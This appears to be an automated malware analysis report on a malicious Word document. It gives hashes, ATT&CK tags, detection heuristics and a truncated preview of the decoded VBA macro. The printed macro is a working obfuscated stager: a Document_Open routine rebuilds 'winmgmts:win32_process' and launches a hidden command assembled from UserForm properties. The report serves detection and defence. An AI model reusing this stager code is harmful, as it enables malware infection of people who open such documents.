Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a17ff9ede2df1f54…

MALICIOUS

Office (OLE)

168.4 KB Created: 2020-07-31 20:21:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 268ab02b4bc39778427374e1d1cddae9 SHA-1: baea0bfd15da3b26750c2bfa1c440f27d79fb5dd SHA-256: a17ff9ede2df1f54aad2ecc11a0cb2fd9ed65e8fd8e4f9b8e2bc68389d366154
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro and 'CreateObject' calls, along with a hidden UserForm command stager, indicate an attempt to execute code. The script appears to be obfuscated but likely functions as a downloader for a second-stage payload, as suggested by the ClamAV detection name 'Lemodldr'.

Heuristics 7

  • ClamAV: Doc.Malware.Lemodldr-9238798-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Lemodldr-9238798-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4964 bytes
SHA-256: 791871d0af7a691daff6bf64706a93868d14caabf4ae021ac2dfaf9f2eed24e5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WWPGWuirgjxdja"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
JQOMVojmwllvti.DAICGblogmmcooyn
End Sub


Attribute VB_Name = "JQOMVojmwllvti"
Attribute VB_Base = "0{4B3AA174-CBB7-4222-82F9-D337EE7FBA43}{CEB3D943-CC00-4E57-890C-7729CCBE5AF3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function DAICGblogmmcooyn()
Dim JUm3Y4Áv0ÕA As Integer
JUm3Y4Áv0ÕA = 4
Do While JUm3Y4Áv0ÕA < 4 + 8
JUm3Y4Áv0ÕA = JUm3Y4Áv0ÕA + 8: DoEvents
Loop
Dim qJfMXTsq As String
qJfMXTsq = Replace$("SV0ÄLNTNcMX", "SV0ÄLNT", "mU8àEA")
Dim BwQyi As String
BwQyi = Replace$("SHGy8ÅTZUh2àfw5Çjh", "SHGy8ÅTZU", "JMEbC")
RPJZJxmnafgwbpd = Chr(JQOMVojmwllvti.Zoom + ((50 + 50 + 20) / 8))
Dim IKm1ÚK As Integer
IKm1ÚK = 5
Do While IKm1ÚK < 5 + 7
IKm1ÚK = IKm1ÚK + 4: DoEvents
Loop
LGZRYybqsujoxcvuv = "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddi0202093hui87(*Yhshhshs303030ddnm0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddgm0202093hui87(*Yhshhshs303030ddt0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd" + RPJZJxmnafgwbpd + "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd:0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddin0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd30202093hui87(*Yhshhshs303030dd20202093hui87(*Yhshhshs303030dd_0202093hui87(*Yhshhshs303030dd" + JQOMVojmwllvti.PCFNSyovkjjyszow + "0202093hui87(*Yhshhshs303030ddro0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddce0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dd"
Dim cbSSJYfyE As String
cbSSJYfyE = Replace$("qCHAmOwKdYa", "qCHAmO", "ktbh")
SXZISbuptqtlc = OPNBQahrytvjdt(LGZRYybqsujoxcvuv)
Dim Ff5Ë8 As Integer
Ff5Ë8 = 6
Do While Ff5Ë8 < 6 + 5
Ff5Ë8 = Ff5Ë8 + 8: DoEvents
Loop
Set ANLJNwmohftasbdde = CreateObject(SXZISbuptqtlc)
Dim NRK As String
NRK = Replace$("QAondeVoi4ËhF6", "QAondeV", "sSP7")
CVEAPixmspdoem = JQOMVojmwllvti.EYGBTingzpvyrugr.ControlTipText
Dim tTRG As String
tTRG = Replace$("JnZlI4ÓQ", "JnZl", "VCMJiSHGyy")
ANMKZlqozfppqt = jdjjdjdjj + (SXZISbuptqtlc + RPJZJxmnafgwbpd + JQOMVojmwllvti.SPDUGvderikhfsd.ControlTipText + CVEAPixmspdoem)
Dim NWEbKjhI As Integer
NWEbKjhI = 2
Do While NWEbKjhI < 2 + 2
NWEbKjhI = NWEbKjhI + 3: DoEvents
Loop
HSVSAuuzlspc = ANMKZlqozfppqt + JQOMVojmwllvti.PCFNSyovkjjyszow
Dim XFdLa As String
XFdLa = Replace$("XWMMET4ÖmQmUea0dZcG", "XWMMET4Öm", "T3SUj")
Set BGZTRqnlmeqvr = WUYKWrxjigmnwm(HSVSAuuzlspc)
Dim ejcPcM As String
ejcPcM = Replace$("YPcUjcHRCN", "YPcUjcH", "udQAon")
j6j3nn3nb4 = Array("nxuih yhioasy ywww huwhd", ANLJNwmohftasbdde. _
Create(FGJGPldecosi, CBUJVyeomwlejmn, BGZTRqnlmeqvr), "diuhuq hioqcdsf")
Dim IUoiXA As String
IUoiXA = Replace$("FlKsSPqpFqDWRFi", "FlKsSPqp", "GmLtTRGEgu")
End Function
Function WUYKWrxjigmnwm(KBPIJmwrhikteptkm)
Set WUYKWrxjigmnwm = CreateObject(KBPIJmwrhikteptkm)
Dim nVtcC0ÈHL As String
nVtcC0ÈHL = Replace$("XIUoiXAjhAf5ÑDWRFi3Äm", "XIUoiXAjhA", "NOb8ÄEg8l")
WUYKWrxjigmnwm.showwindow = IZSKJrwigrjixdzf + LNQGWbqdcfokfdso + KEALCkfldepvrjwgpyz
Dim qOuFCbL As String
qOuFCbL = Replace$("T4ÓotuCJkGBFv", "T4ÓotuC", "uKD")
End Function
Function OPNBQahrytvjdt(CMFIWmxifrxwrxohp)
UCQVHqfjoyyixq = CMFIWmxifrxwrxohp
Dim PFFvM As Integer
PFFvM = 7
Do While PFFvM < 7 + 4
PFFvM = PFFvM + 6: DoEvents
Loop
KEGWYygwacrcmystov = Split _
(UCQVHqfjoyyixq, "0202093hui87(*Yhshhshs303030dd")
Dim JfMXTsqRQ As String
JfMXTsqRQ = Replace$("GLN3ÈNcgOmUtr", "GLN3ÈNc", "AD6à")
HVFSRkzuxzsb = mm6m6m6m + Join(KEGWYygwacrcmystov, o7o7oej5)
Dim Vy2yPnW As String
Vy2yPnW = Replace$("scZsXLI6ËU85âPK", "scZsX
... (truncated)